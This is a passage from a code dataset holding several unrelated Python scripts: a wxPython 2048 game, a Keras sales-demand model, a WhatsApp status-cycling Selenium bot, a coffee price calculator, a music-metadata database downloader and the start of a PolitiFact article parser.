wx.WXK_LEFT:\r\n self.onKeyLeft()\r\n elif key_code == wx.WXK_RIGHT:\r\n self.onKeyRight()\r\n elif key_code == wx.WXK_F1:\r\n self.tile_values = [[0, 2, 4, 8], [16, 32, 64, 128], [256, 512, 1024, 2048], [4096, 8192, 16384, 32768]]\r\n self.drawTiles()\r\n return\r\n\r\n if temp_tile_values == self.tile_values:\r\n if self.isGameOver():\r\n self.onBtnRestart()\r\n else:\r\n self.addRandomTile()\r\n self.drawTiles()\r\n self.score_text.SetLabel(str(self.score))\r\n\r\n def onKeyUp(self):\r\n temp_tile_values = [[row[i] for row in self.tile_values] for i in range(len(self.tile_values[0]))]\r\n for row in range(len(self.tile_values[0])):\r\n temp_tile_values[row] = self.updateSingleRowValue(temp_tile_values[row], True)\r\n self.tile_values = [[row[i] for row in temp_tile_values] for i in range(len(temp_tile_values[0]))]\r\n\r\n def onKeyDown(self):\r\n temp_tile_values = [[row[i] for row in self.tile_values] for i in range(len(self.tile_values[0]))]\r\n for row in range(len(self.tile_values[0])):\r\n temp_tile_values[row] = self.updateSingleRowValue(temp_tile_values[row], False)\r\n self.tile_values = [[row[i] for row in temp_tile_values] for i in range(len(temp_tile_values[0]))]\r\n\r\n def onKeyLeft(self):\r\n for row in range(len(self.tile_values)):\r\n self.tile_values[row] = self.updateSingleRowValue(self.tile_values[row], True)\r\n\r\n def onKeyRight(self):\r\n for row in range(len(self.tile_values)):\r\n self.tile_values[row] = self.updateSingleRowValue(self.tile_values[row], False)\r\n\r\n def updateSingleRowValue(self, row_value, positive):\r\n num_cols = len(row_value)\r\n if not positive:\r\n temp_data = copy.deepcopy(row_value)\r\n row_value = [temp_data[num_cols - 1 - i] for i in range(num_cols)]\r\n for i in range(num_cols-1):\r\n if row_value[i] == 0:\r\n continue\r\n for j in range(i+1,num_cols):\r\n if row_value[j]==0:\r\n continue\r\n elif row_value[i]!=row_value[j]:\r\n break\r\n elif (row_value[i]==row_value[j]):\r\n self.score += row_value[i]\r\n row_value[i] *= 2\r\n row_value[j] = 0\r\n break\r\n\r\n for i in range(num_cols):\r\n if row_value[i] != 0:\r\n continue\r\n for j in range(i + 1, num_cols):\r\n if row_value[j] != 0:\r\n row_value[i] = row_value[j]\r\n row_value[j] = 0\r\n break\r\n if not positive:\r\n temp_data = copy.deepcopy(row_value)\r\n row_value = [temp_data[num_cols - 1 - i] for i in range(num_cols)]\r\n return row_value\r\n\r\n def addRandomTile(self):\r\n empty_tiles = [(row, col) for row in range(len(self.tile_values)) for col in range(len(self.tile_values[0]))\r\n if self.tile_values[row][col] == 0]\r\n if len(empty_tiles) != 0:\r\n row, col = empty_tiles[random.randint(0, len(empty_tiles) - 1)]\r\n # value should be 2 or 4\r\n self.tile_values[row][col] = 2 ** random.randint(1, 2)\r\n return True\r\n else:\r\n return False\r\n\r\n def isGameOver(self):\r\n num_rows = len(self.tile_values)\r\n num_cols = len(self.tile_values[0])\r\n for i in range(num_rows):\r\n for j in range(num_cols):\r\n if self.tile_values[i][j] == 0 or \\\r\n (j < num_cols - 1 and self.tile_values[i][j] == self.tile_values[i][j + 1]) or \\\r\n (i < num_rows - 1 and self.tile_values[i][j] == self.tile_values[i + 1][j]):\r\n return False\r\n return True\r\n\r\n def onBtnRestart(self, event):\r\n if self.score > self.record:\r\n self.record = self.score\r\n try:\r\n with open(\"record.txt\", \"w\") as fp:\r\n fp.write(str(self.score))\r\n except IOError as err:\r\n print(err)\r\n if wx.MessageBox(u\"游戏结束，是否重新开始？\", u\"Game Over\", wx.YES_NO) == wx.YES:\r\n self.startGame()\r\n\r\n def onClose(self,e):\r\n if wx.MessageBox(u\"是否退出游戏并保存纪录？\", u\"Game Exit\", wx.YES_NO) == wx.YES:\r\n if self.score > self.record:\r\n self.record = self.score\r\n try:\r\n with open(\"record.txt\", \"w\") as fp:\r\n fp.write(str(self.score))\r\n except IOError as err:\r\n print(err)\r\n self.Destroy()\r\n\r\nclass GameApp(wx.App):\r\n def OnInit(self):\r\n frame = GameFrame('2048')\r\n frame.Show(True)\r\n return True\r\n\r\nif __name__ == \"__main__\":\r\n app = GameApp()\r\n app.MainLoop()\r\n","sub_path":"2048.py","file_name":"2048.py","file_ext":"py","file_size_in_byte":11266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"297880926","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 14 10:52:28 2019\n\n@author: sadrachpierre\n\"\"\"\n\nfrom wqpt import predict, fit, set_state\nimport matplotlib.pyplot as plt\n# from wqpt import Datahub\nimport pandas as pd \nfrom datetime import datetime\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nimport numpy\n# fix random seed for reproducibility\nseed = numpy.random.seed(7)\nimport numpy as np\nfrom wqpt import predict, fit, set_state\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import KFold\nfrom sklearn.pipeline import Pipeline\n\npd.set_option('display.max_rows', 10000)\npd.set_option('display.max_columns', 100)\npd.options.mode.chained_assignment = None \n\ndef date_mapper(date_str):\n return datetime.strptime(date_str, '%m/%d/%Y')\n\nclass Alpha:\n def __init__(self, datafile='wqpt_tutorial_20190304_researchers.csv'):\n self.df = pd.read_csv(datafile)\n self.df_MINUTEMAID = {}\n self.df_MINUTEMAID['data'] = self.df[['Time Period End Date', 'Brand', 'Dollars', 'Dollars, Promo', \n 'Units, Promo', 'Base Dollars', 'Base Units', 'Units', \n \"Velocity Dollars\", \"Velocity Units\",\"Velocity Dollars, Yago\",\n \"Velocity Units, Yago\",'discount_percentage']]\n self.df_MINUTEMAID['data']['Base Price'] = self.df_MINUTEMAID['data']['Base Dollars']/self.df_MINUTEMAID['data']['Base Units']\n self.df_MINUTEMAID['data']['Promo Price'] = self.df_MINUTEMAID['data']['Dollars, Promo']/self.df_MINUTEMAID['data']['Units, Promo']\n self.df_MINUTEMAID['data']['list_price'] = self.df_MINUTEMAID['data']['Dollars']/self.df_MINUTEMAID['data'] ['Units'] \n self.df_MINUTEMAID['data']['net_price'] = self.df_MINUTEMAID['data']['list_price']*(1- self.df_MINUTEMAID['data']['discount_percentage'])\n self.df_MINUTEMAID['data'].dropna(inplace = True)\n self.df_MINUTEMAID['data']['Time Period End Date'] = pd.to_datetime(self.df_MINUTEMAID['data']['Time Period End Date'], format='%m/%d/%Y')\n self.START_DATE = self.df_MINUTEMAID['data']['Time Period End Date'].loc[0]\n self.df_MINUTEMAID['data']['weeks_since_start'] = (self.df_MINUTEMAID['data']['Time Period End Date'] - self.START_DATE).dt.days // 7\n self.df_MINUTEMAID['data'].sort_values('Time Period End Date', inplace = True) \n self.training_max_date = None\n self.models = {} \n def build_neural_network(self, input_neurons, number_of_layers):\n self.model = Sequential()\n self.model.add(Dense(input_neurons, kernel_initializer='normal', input_dim=3, activation='relu'))\n for i in range(1, number_of_layers):\n self.model.add(Dense(128, kernel_initializer='normal', activation='relu'))\n self.model.add(Dense(1, kernel_initializer='normal', activation='linear'))\n self.model.compile(loss='mape', optimizer='adam', metrics=['mape'])\n return self.model \n def set_state(self, date):\n self.training_max_date = date_mapper(date)\n def fit_models(self):\n if self.training_max_date is None:\n raise Exception(\n 'attempting to fit models before any data '\n 'is made available')\n mask = (self.df_MINUTEMAID['data']['Time Period End Date'] > datetime(self.training_max_date.year, self.training_max_date.day, self.training_max_date.month)) \n X = np.array(self.df_MINUTEMAID['data'].loc[mask][['list_price', 'discount_percentage', 'weeks_since_start']])\n y = np.array(self.df_MINUTEMAID['data'].loc[mask][\"Velocity Units\"])\n scalar = MinMaxScaler()\n scalar.fit(X)\n X = scalar.transform(X)\n model = self.build_neural_network(128, 3)\n reg = model.fit(X, y, validation_split = 0.2, epochs=2200, batch_size=10)\n self.models['reg'] = reg\n def predict(self, list_price, discount_percentage, date):\n START_DATE = date_mapper('02/07/2016')\n weeks_since_start= (date_mapper(date) - START_DATE).days // 7\n result = self.model.predict(np.array([[list_price, discount_percentage, weeks_since_start]]))\n return result if result > 0 else 0\n def mean_absolute_percentage_error(self, y_true, y_pred): \n return np.mean(np.abs((y_true - y_pred) / y_true)) * 100\n def remove_outliers(self):\n pass \n \nALPHA_INSTANCE = Alpha()\n\n\n@set_state\ndef set_state(time_period_end: str):\n \"\"\"Sets state for the alpha model\n\n Parameters\n ----------\n date: str\n Newest date for which data should be made available for the\n alpha to fit its underlying model(s)\n \"\"\"\n ALPHA_INSTANCE.set_state(date=time_period_end)\n\n\n@fit\ndef fit():\n \"\"\"(Re-)fits the alpha model using the latest state\"\"\"\n ALPHA_INSTANCE.fit_models()\n\n\n@predict\ndef predict(time_period_end: str, list_price: float, discount_percent: float):\n \"\"\"\n Predict demand for the given SKU in the given store on the given date\n\n Parameters\n ----------\n list_prices: dict of dict of float\n Dictionary of prices for all SKUs across all stores for the\n given date. It should have structure {store_id: {sku_id: price}}\n discount_percentages: dict of dict of float\n Dictionary of discount percentages for all SKUs across all stoers for\n the given date. It should have structure {store_id: {sku_id: dscount_perc}}\n date: str\n Date in MM-DD-YYYY format\n\n Returns\n -------\n float\n Predicted demand on date\n\n \"\"\"\n result = ALPHA_INSTANCE.predict(list_price=list_price, discount_percentage=discount_percent, date=time_period_end)\n return float(result[0])\n\n\ndef main():\n ALPHA_INSTANCE.remove_outliers()\n print('setting state to \"10/02/2017\" ...')\n ALPHA_INSTANCE.set_state('10/02/2017')\n print('ok')\n print('fitting models...')\n ALPHA_INSTANCE.fit_models()\n print('ok')\n print('calling predict...')\n test_params =[{'list_price': 2.378013, 'discount_percentage': 0.167605, 'date': '05/02/2019'},\n {'list_price': 2.172965, 'discount_percentage': 0.119188, 'date': '05/09/2019'},\n {'list_price': 1.745326, 'discount_percentage': 0.122433, 'date': '05/16/2019'},\n {'list_price': 1.050123, 'discount_percentage': 0.152387, 'date': '05/25/2019'},\n {'list_price': 2.378013, 'discount_percentage': 0.092456, 'date': '06/01/2019'},\n {'list_price': 2.598546, 'discount_percentage': 0.127363, 'date': '06/08/2019'},\n {'list_price': 2.398546, 'discount_percentage': 0.127363, 'date': '06/15/2019'}]\n result = []\n for params in test_params:\n result = ALPHA_INSTANCE.predict(**params)\n print('parameters = ', params)\n print(' -> demand =', result)\n mask = (ALPHA_INSTANCE.df_MINUTEMAID['data']['Time Period End Date'] > datetime(2016, 2, 7)) & \\\n (ALPHA_INSTANCE.df_MINUTEMAID['data']['Time Period End Date'] < datetime(2017, 2, 7))\n y_true = ALPHA_INSTANCE.df_MINUTEMAID['data'][\"Velocity Units\"].loc[mask]\n x_pred = ALPHA_INSTANCE.df_MINUTEMAID['data'].loc[mask][['list_price', 'discount_percentage', 'weeks_since_start']] \n scalar = MinMaxScaler()\n scalar.fit(x_pred)\n x_pred = scalar.transform(x_pred)\n y_pred = ALPHA_INSTANCE.model.predict(x_pred)\n error_value = ALPHA_INSTANCE.mean_absolute_percentage_error(y_true[0], y_pred[0])\n print(\"Mean Absolute Percent Error (MAPE) is: \", error_value)\n\n \nif __name__ == '__main__':\n main()","sub_path":"alpha_neural_net.py","file_name":"alpha_neural_net.py","file_ext":"py","file_size_in_byte":7672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"285832252","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom time import sleep\r\n\r\n\r\nwith open('about.txt', 'r',encoding='utf-8') as about:\r\n aboutlist = list()\r\n text = about.read()\r\n aboutlist = text.split('\\n')\r\n a = len(aboutlist)\r\n aboutlist_len = a - 1\r\n\r\ndef start():\r\n driver = webdriver.Chrome()\r\n driver.implicitly_wait(3)\r\n driver.get('https://web.whatsapp.com/')\r\n input('Press any letter and enter for start \\n')\r\n print(f'starting with {aboutlist_len} element')\r\n sleep(3)\r\n i = 0\r\n x = 0\r\n v = 0\r\n message_area = driver.find_element_by_xpath('//*[@id=\"app\"]/div[1]/div[1]/div[2]/div[1]/span/div[1]/span/div[1]/div/div[4]/div[2]/div[1]/div/div[2]')\r\n while True:\r\n x = 0\r\n for x in range(aboutlist_len):\r\n duzenle = driver.find_element_by_xpath('//*[@id=\"app\"]/div[1]/div[1]/div[2]/div[1]/span/div[1]/span/div[1]/div/div[4]/div[2]/div[1]/span[2]/div')\r\n duzenle.click()\r\n for i in range(51):\r\n message_area.send_keys(Keys.BACK_SPACE)\r\n oText = aboutlist[x]\r\n message_area.send_keys(oText)\r\n message_area.send_keys(Keys.ENTER)\r\n print('Changed to:',oText)\r\n sleep(7)\r\nstart()","sub_path":"whatsappbot.py","file_name":"whatsappbot.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"149069660","text":"def cost_coffee(kind):\n if kind == 'A':\n cost_cff = 3900\n elif kind == 'CM':\n cost_cff = 4500\n elif kind == 'CL':\n cost_cff = 5000\n elif kind == 'GT':\n cost_cff = 5500\n return cost_cff\n\ndef cost_size(size):\n if size == 'G':\n cost_sz = 1000\n elif size == 'R':\n cost_sz = 500\n elif size == 'S':\n cost_sz = 0\n return cost_sz\n\ndef cost_total(cost_cff, cost_sz):\n cost_ttl = cost_cff + cost_sz\n return cost_ttl\n\n\nfor i in range(5):\n kind = input(\"Choose the menu. \\n A(아메리카노) / CM(카페모카) / CL(카페라떼) / GT(그린티)\")\n size = input(\"Choose the size. \\n G(Grande) / R(Regular) / S(Short)\")\n\n cost_cff = cost_coffee(kind)\n cost_sz = cost_size(size)\n cost_ttl = cost_total(cost_cff, cost_sz)\n\n print(\"The total price is %d \\.\" %cost_ttl)\n print(\"Thank you for visiting. \\n\")\n","sub_path":"coffeeShop_func.py","file_name":"coffeeShop_func.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"341034194","text":"import os,sys,whatapi,postgresql as pg, datetime, time, Levenshtein\nimport postgresql.driver as pg_driver\nsys.path.extend(os.listdir(os.getcwd()))\nfrom random import shuffle\nfrom lookup import *\nfrom libzarv import *\nfrom urllib import parse\nfrom html import unescape\nfrom musicClasses import *\nfrom database import databaseCon\nfrom math import ceil,floor\nfrom numpy.random import randint\nfrom statistics import mean,pvariance as pvar\nfrom SpinPapiClient import SpinPapiClient\n\n#Download the top whatcd & lastfm & spotify albums' metadata via lookup\n#Calc their downloadability and set that into db\n\napihandle = None\ncon = None \nclient = None\n\n\ndef notBadArtist(group):\n return ('artist' in group \n and group['artist'].lower()!='various artists')\n\ndef startup_tests(credentials):\n try:\n db = pg_driver.connect(\n user = credentials['db_user'],\n password = credentials['db_password'],\n host = 'localhost',\n port = 5432,\n database = credentials['db_name'])\n except Exception as e:\n handleError(e, \"Error: cannot connect to database\")\n exit(1)\n print(\"Zarvox database are online\")\n try:\n pingtest(['whatcd','spotify','music','lastfm'])\n except Exception as e:\n handleError(e,\"Pingtest err\")\n exit(1)\n print(\"Pingtest complete; sites are online\")\n return db\n\ndef downloadGenreData(genre, maxDownloads):\n whatPages=[]\n popularity = ceil(maxDownloads*genre[1])+1\n x=0\n print(\"Getting metametadata for \"+genre[0]+\" with popularity of \"+str(genre[1]))\n while len(whatPages) 1):\n x+=1\n what = apihandle.request(\"browse\",searchstr='',order_by='seeders',taglist=parse.quote(genre[0],'.'),page=(x),category='Music')\n while what['status'] != 'success':\n print(\"Warning: status not successful for page \"+str(x))\n what = apihandle.request(\"browse\",searchstr='',order_by='seeders',taglist=parse.quote(genre[0],'.'),page=(x),category='Music')\n whatPages+=what['response']['results']\n print(\"Got \"+str(len(what['response']['results']))+\" from page \"+str(x))\n if len(what['response']['results']) < 2:\n print(\"Going with just \"+str(len(whatPages))+\" anyway, not getting any more results\")\n while len(whatPages) > popularity:\n whatPages.pop(randint(0, len(whatPages)))\n print(\"Downloading \"+str(len(whatPages))+\" albums' metadata for \"+genre[0])\n return processedGroups(whatPages)\n\ndef processedGroups(whatPages):\n what_info=[]\n for group in whatPages:\n processedGroup = processData(group)\n if processedGroup != {}:\n what_info.append(processedGroup)\n return what_info\n\ndef processedTorsWithInfo(whatTors):\n what_info=[]\n # query = con.db.prepare(\"SELECT * FROM artists WHERE artist = $1 LIMIT 1\")\n for tor in whatTors:\n try:\n whatGroup = apihandle.request(\"torrentgroup\",id=tor['groupId'])\n if whatGroup['status']=='success': \n torGroup = getTorrentMetadata(whatGroup['response'])\n if torGroup != {}:\n what_info.append(torGroup)\n except Exception as e:\n handleError(e,\"Failed to get torrentgroup from what\")\n print(\"Out of this group, \"+str(len(what_info))+\" good downloads\")\n return what_info\n\ndef processData(group):\n if notBadArtist(group):\n whatGroup = apihandle.request(\"torrentgroup\",id=group['groupId'])\n if whatGroup['status']=='success':\n try: \n return getTorrentMetadata(whatGroup['response'], group['artist-credit-phrase'] if 'artist-credit-phrase' in group else None)\n except Exception as e:\n handleError(e,\"Error with processData\")\n return {}\n return {}\n\ndef processSongs(data, songData = []):\n if len(data) == 2:\n albumName, artistsNames = data\n else:\n albumName, artistsNamesLst, albumPath = data\n artistsNames = ','.join(artistsNamesLst)\n goodSongs = []\n print(\"Downloading song information for \"+albumName+\" by \"+artistsNames)\n res = {}\n try:\n if len(data) == 2 :\n metadata = processData(getAlbumArtistNames(albumName, artistsNames, apihandle))\n else:\n print(\"Not downloading artist/album data since it's cached\")\n metadata = {'artists': artistsNamesLst, 'album': albumName, 'whatid': -1, 'path_to_album': albumPath}\n artists = [artistLookup(x, apihandle, True, con) for x in metadata['artists']]\n res['artists'] = con.getArtistsDB(artists,True)\n print(\"Done with artists\")\n metadata['artist_id'] = res['artists'][0]['select'][0]\n album = albumLookup(metadata,apihandle,con)\n res['album'] = con.getAlbumDB( album,True,db_artistid=res['artists'][0]['select'][0])\n print(\"Done with album \"+res['album'][0]['response'][1]) \n res['artists_albums'] = con.getArtistAlbumDB(res['album'][0]['select'][0],True, [artist['select'][0] for artist in res['artists']])\n while len(songData) == 0 and len(artists)>0:\n songData = getSongs({'groupName':album.name, 'artist': artists.pop(0).name })\n if len(songData) == 0:\n print(\"Error: couldn't get song data\")\n return songs\n print(\"Got song listing\")\n songMetadata = []\n for song in songData:\n songMetadata.append({})\n songMetadata[-1]['name'], songMetadata[-1]['duration'] = song\n songs = [songLookup(metadata, song, '', con=con) for song in songMetadata]\n print(\"Got song information\")\n lst = {\n 'sp':[song.spotify_popularity for song in songs],\n 'll':[song.lastfm_listeners for song in songs],\n 'lp':[song.lastfm_playcount for song in songs],\n 'kp':[song.kups_playcount for song in songs]\n }\n for song in songs:\n song.popularity = con.popularitySingle( 'songs'+albumName.replace(' ','_')+'_'+artistsNames.replace(' ','_'), \n spotify_popularity=song.spotify_popularity,\n lastfm_listeners=song.lastfm_listeners,\n lastfm_playcount=song.lastfm_playcount,\n kups_playcount=song.kups_playcount,\n lists=lst)\n print(\"Got song relative popularity\")\n res['song'] = con.getSongsDB(songs, True, db_albumid=res['album'][0]['select'][0])\n con.printRes(res)\n for s in songs:\n if s.length > 0 and len(s.name)>0:\n db_song = max(res['song'], key=lambda x: Levenshtein.ratio(s.name, x['select'][1]) - abs(((s.length-x['select'][4]) / s.length)))\n s.filename = db_song['select'][2]\n s.song_id = db_song['select'][0]\n s.length = db_song['select'][4]\n goodSongs.append(s)\n print(\"Returning \"+str(len(goodSongs))+\"/\"+str(len(songs))+\" songs\")\n except Exception as e:\n handleError(e,\"Error with processSongs\")\n return goodSongs\n\n\ndef processInfo(metadata, songDict=None, kups_amt=0):\n if len(metadata) == 0:\n print(\"Not processing info\")\n return {}\n res = {}\n try:\n artists = [artistLookup(x, apihandle, True, con) for x in metadata['artists']]\n for artist in artists:\n artist.kups_playcount+=kups_amt\n res['artists'] = con.getArtistsDB(artists,True)\n print(\"Done with artists\")\n\n if 'album' in metadata:\n album = albumLookup(metadata,apihandle,con)\n album.kups_playcount+=kups_amt\n res['album'] = con.getAlbumDB( album,True,db_artistid=res['artists'][0]['select'][0])\n print(\"Done with album\")\n res['artists_albums'] = con.getArtistAlbumDB(res['album'][0]['select'][0],True, [artist['select'][0] for artist in res['artists']])\n abgenres = con.getGenreDB( [x for x in album.genres.keys()], apihandle,'album_',True)\n album.genres = correctGenreNames(album.genres, abgenres)\n else:\n album = Album('')\n abgenres = []\n\n if songDict is not None:\n song = songLookup(metadata,songDict,'',con=con)\n song.kups_playcount+=kups_amt\n res['song'] = con.getSongsDB([song], True, db_albumid=res['album'][0]['select'][0])\n print(\"Done with tracks\")\n \n argenres = con.getGenreDB( list(set([x for artist in artists for x in artist.genres.keys() if x not in album.genres])), apihandle,'artist_',True)\n for artist in artists:\n artist.genres = correctGenreNames(artist.genres, argenres)\n res['genre'] = abgenres+argenres\n print(\"Done with genres\")\n\n if 'album' in metadata:\n res['album_genre'] = con.getAlbumGenreDB( album.genres, True,album=res['album'][0]['select'])\n print(\"Done with album genres\")\n res['artist_genre'] = [lst for artist, dbartist in zip(artists,res['artists']) for lst in con.getArtistGenreDB( artist.genres, True,artist=dbartist['select'])]\n \n print(\"Done with artist genres\")\n res['similar_artist'], res['other_artist'], res['other_similar'] = [],[],[]\n for artist,dbartist in zip(artists,res['artists']):\n temp = con.getSimilarArtistsDB(artist.similar_artists, apihandle, dbartist['select'],True)\n res['similar_artist'].extend(temp[0])\n res['other_artist'].extend(temp[1])\n res['other_similar'].extend(temp[2])\n except Exception as e:\n handleError(e,\"Error with processInfo\") \n return res\n\n\ndef lookupGenre(conf,fields):\n genres = sorted(\n [ (x[0],percentValidation(x[1])) \n for lst in con.db.prepare(\"SELECT genre,popularity FROM genres ORDER BY popularity DESC\").chunks() \n for x in lst],\n key=lambda x: x[1],\n reverse=True)\n maxDownloads = ceil(\n float(conf['percentile']) \n * sum([int(x[0]) \n for lst in con.db.prepare(\"SELECT COUNT(*) FROM albums\").chunks() \n for x in lst]))\n print(\"Downloading upto \"+str(maxDownloads)+\" of the top albums from upto \"+str(len(genres))+\" genres\")\n for genre in genres:\n for x in downloadGenreData(genre, maxDownloads):\n con.printRes(processInfo(x),fields)\n\ndef lookupSelf(conf,fields,tpe):\n albums_artists = [tuple(x) for lst in con.db.prepare(\"SELECT albums.album, string_agg(artists.artist, ' & ') FROM albums LEFT JOIN artists_albums ON albums.album_id = artists_albums.album_id LEFT JOIN artists on artists.artist_id = artists_albums.artist_id GROUP BY albums.album\").chunks() for x in lst if x is not None]\n if len(tpe) == 0:\n shuffle(albums_artists)\n elif tpe=='albumgenres':\n albumsims = {}\n for album, sim in [(x[0], percentValidation(x[1]))\n for lst in con.db.prepare(\"SELECT albums.album, album_genres.similarity FROM albums LEFT JOIN album_genres ON albums.album_id = album_genres.album_id \").chunks() \n for x in lst \n if type(x[1]) is float]:\n if album not in albumsims:\n albumsims[album] = []\n albumsims[album].append(sim)\n albums_artists.sort(key=lambda x: pvar(albumsims[x[0]]) if x[0] in albumsims else 0)\n for album, artists in albums_artists:\n print(\"Updating \"+album+\" by \"+artists)\n con.printRes(\n processInfo(\n processData(\n getAlbumArtistNames(album, artists, apihandle))\n ),\n fields)\n\ndef lookupTopAll(conf,fields,n):\n whatTop10 = apihandle.request(\"top10\",limit=n)\n if whatTop10['status'] == 'success':\n for response in whatTop10['response'][::-1]:\n print(\"Downloading \"+response[\"caption\"])\n for result in processedTorsWithInfo(response['results']):\n res = processInfo(result)\n if len(res) > 0:\n con.printRes(res,fields)\n\ndef lookupKUPS(conf,fields):\n #con.db.execute(\"UPDATE artists set kups_playcount=artists_true_kups_playcount.sum from artists_true_kups_playcount where artists.artist_id = artists_true_kups_playcount.artist_id and artists.kups_playcount != artists_true_kups_playcount.sum\")\n #con.db.execute(\"UPDATE albums set kups_playcount=albums_true_kups_playcount.sum from albums_true_kups_playcount where albums.album_id = albums_true_kups_playcount.album_id and albums.kups_playcount != albums_true_kups_playcount.sum\")\n con.db.execute(\"DELETE from kupstracks_bad where badtrack_id < (select MAX(badtrack_id) from kupstracks_bad)\")\n shouldnt_download = sum([int(x[0]) for lst in con.db.prepare(\"select badtrack_id from kupstracks_bad\").chunks() for x in lst])\n wont_download = con.db.prepare(\"insert into kupstracks_bad (badtrack_id) values ($1)\")\n for kupstrack_id in range(1,168000):\n if kupstrack_id > shouldnt_download:\n link = client.query({\n 'method':'getSong',\n 'EndDate':str(datetime.date.today()),\n 'SongID':str(kupstrack_id)})\n spinres = lookup('spinitron','query',{'url':link})\n while 'success' not in spinres or not spinres['success']:\n time.sleep(2)\n spinres = lookup('spinitron','query',{'url':link})\n if spinres['results'] is not None:\n track = spinres['results']\n for obj in ['DiskName','ArtistName','SongName']:\n track[obj] = mbEscape(track[obj])\n print(\"Working on \"+track['SongName']+' by '+track[\"ArtistName\"]+\", kups track \"+str(kupstrack_id))\n if (len(track[\"ArtistName\"]) > 0 and len(track[\"DiskName\"]) > 0):\n whatGroup = getAlbumArtistNames(\n track[\"DiskName\"],\n track[\"ArtistName\"],\n apihandle,\n song=track[\"SongName\"])\n if whatGroup is None:\n print(\"No valid whatgroup searched\")\n else:\n if whatGroup['song'] is None:\n whatGroup['song'] = {}\n whatGroup['song']['name'], whatGroup['song']['duration'] = max(getSongs(whatGroup), key=lambda x: Levenshtein.ratio(x[0],track[\"SongName\"]))\n print(\"True song of \"+track[\"SongName\"]+\" is \"+whatGroup['song']['name'])\n if not closeEnough([track[\"ArtistName\"],track[\"DiskName\"],track[\"SongName\"]]\n , [whatGroup['artist'],whatGroup['groupName'],whatGroup['song']['name']]):\n print(\"Ratio of two is too low, so ditching\")\n else:\n print(\"Downloading info for track \"+whatGroup['song']['name'])\n res = processInfo(\n processData(\n whatGroup),\n songDict=whatGroup['song'],\n kups_amt=1)\n if len(res) > 0:\n con.printRes(\n res,\n fields)\n wont_download(kupstrack_id)\n kupstrack_id = 0\n if kupstrack_id != 0:\n print(\"Didn't download track \"+(track[\"SongName\"] if \"results\" in spinres and spinres[\"results\"] is not None else str(kupstrack_id))+\", so won't download again\")\n wont_download(kupstrack_id)\n\ndef lookupCSV(conf,fields):\n lines = []\n with open(sys.argv[2]) as csv:\n for line in csv:\n if len(line.strip())>1:\n lines.append([x.strip('*').strip() for x in line.split(',')])\n for line in lines:\n print(\"Working on \"+(' - '.join(line)))\n if len(''.join(line)) > 0:\n if len(line)>1 and (len(line[1])>1 or (len(line)==3 and len(line[2])>1)): \n whatGroup = getAlbumArtistNames(\n line[1],\n line[0],\n apihandle,\n song=(line[2] if len(line)==3 and len(line[2])>1 else None))\n if whatGroup is None:\n print(\"No valid whatgroup searched\")\n metadata = {}\n else:\n if 'song' in whatGroup and whatGroup['song'] is None:\n whatGroup['song'] = {}\n whatGroup['song']['name'], whatGroup['song']['duration'] = max(getSongs(whatGroup), key=lambda x: Levenshtein.ratio(x[0],track[\"SongName\"]))\n metadata = processData(whatGroup) \n else:\n whatGroup = {}\n metadata = { 'artists': [getArtist(line[0],apihandle)] }\n if metadata != {}:\n if whatGroup != {}:\n print(\"Downloading info for \"+whatGroup['artist']+' - '+whatGroup['groupName']+(' - '+whatGroup['song']['name'] if 'song' in whatGroup else ''))\n else:\n print(\"Just downloading artist data for \"+(''.join(metadata['artists'])))\n res = processInfo(\n metadata,\n songDict=(whatGroup['song'] if 'song' in whatGroup else None),\n kups_amt=(int(sys.argv[3]) if len(sys.argv)>3 else 5))\n if len(res) > 0:\n con.printRes(\n res,\n fields)\n\n\n\ndef lookupAll(lookupType,conf,fields):\n if lookupType == 'genre':\n lookupGenre(conf,fields)\n elif len(lookupType)>8 and lookupType[:7] == 'whattop':\n lookupTopAll(conf,fields,int(lookupType[7:]))\n elif lookupType == 'kups':\n lookupKUPS(conf,fields)\n elif lookupType == 'csv' and len(sys.argv)>2:\n lookupCSV(conf,fields)\n elif 'update' in lookupType:\n lookupSelf(conf,fields, lookupType[6:] if len(lookupType)>6 else '')\n else:\n print(\"Error: didn't find a lookup type\")\n exit(1)\n\ndef main(lookup=True):\n global apihandle,con,client\n credentials = getCreds()\n conf = getConfig()\n cookies = {'cookies':pickle.load(open('config/.cookies.dat', 'rb'))} if os.path.isfile('config/.cookies.dat') else {}\n apihandle = whatapi.WhatAPI(username=credentials['username'], password=credentials['password'], **cookies)\n client = SpinPapiClient(str.encode(credentials['spinpapi_userid']),str.encode(credentials['spinpapi_secret']),station='kups')\n db = startup_tests(credentials)\n con = databaseCon(db)\n if lookup:\n fields = con.getFieldsDB()\n lookupAll(sys.argv[1],conf,fields)\n pickle.dump(apihandle.session.cookies, open('config/.cookies.dat', 'wb'))\n\n\nif __name__ == '__main__':\n main(True)\n\n ","sub_path":"downloader/everythingLookup.py","file_name":"everythingLookup.py","file_ext":"py","file_size_in_byte":17036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"428657813","text":"import json\nimport pandas as pd\nimport re\n\ncolumns=[ 'headerTitle', 'body-text', 'claim','publish_date', 'rating']#'body-image', 'headerImage'\n\nrep={\nr'muuaw-o-dlld dou' : 'Full Flop',\nr'PANTS ON FIRE /'\t\t:\t 'pants on fire',\nr\"LITIFACT TRUT - O-METER'M\" :'mostly false',\nr\"POLITIF TRUTH-O - TER'M\": 'mostly true',\nr\"TRUE POLI ACT TRUTH - - METERM\" : 'Half true',\n\"FALSE POLITIFACT TRUTH-O-METER ' \\\"\":\"false\",\nr\"TRUE POLITIFACT TRUTH-O-METER'M\"\t:\"true\",\n}\n\nresult=pd.DataFrame(columns = columns)\nprint(result.keys())\n\nwith open('articles_content_2.json','r',encoding='utf8') as f:\n all=json.load(f)\n\na=[]\n\nfor key in all.keys():\n item=all[key]\n\n # if 'body-image' in item.keys():\n # 